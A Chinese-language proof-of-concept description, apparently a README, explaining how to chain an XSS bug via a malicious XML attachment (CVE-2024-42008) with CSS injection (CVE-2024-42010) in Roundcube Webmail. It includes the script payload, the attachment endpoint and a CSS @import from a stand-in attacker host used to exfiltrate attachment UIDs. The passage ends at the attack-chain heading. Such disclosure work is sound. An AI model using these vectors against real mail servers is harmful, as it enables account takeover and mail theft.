
此概念验证(PoC)演示了 Roundcube Webmail 中两个漏洞的利用,这些漏洞可实现 CSS 注入和跨站脚本(XSS)。攻击分两个阶段:
通过恶意 XML 附件进行 XSS(CVE-2024-42008)
由于文件上载检查不足,可以发送包含 JavaScript 代码的 XML 文件作为附件,例如:
<something:script xmlns:something="<http://www.w3.org/1999/xhtml">
alert(origin)
</something:script>
这是一个已知问题,被追踪为 CVE-2020-13965,缓解措施是禁用“打开附件”选项。但文件仍然可以通过端点访问:
https://roundcube.host.com/?_task=mail&_mbox=INBOX&_uid=[UID]&_part=2&_download=0&_action=get
其中 UID 是该特定邮箱(即 INBOX)中该特定附件的唯一标识符。

通过 CSS 注入进行 HTML 外带(CVE-2024-42010)
发送邮件时,可以注入自己的 CSS 文件,前提是托管在以 a 开头的域名上。通过这一点,结合一个处理易受攻击的 Roundcube 主机发出的请求的 JavaScript 服务器文件,可以提取恶意 XSS 附件的 UID。
在发送的邮件中使用以下方式导入 CSS:
<style>
@import "//a.attackerdomain.com/start?"
</style>
托管 JS 服务器(roundcube-css-exploit.js),用于外带恶意附件的 UID。

攻击链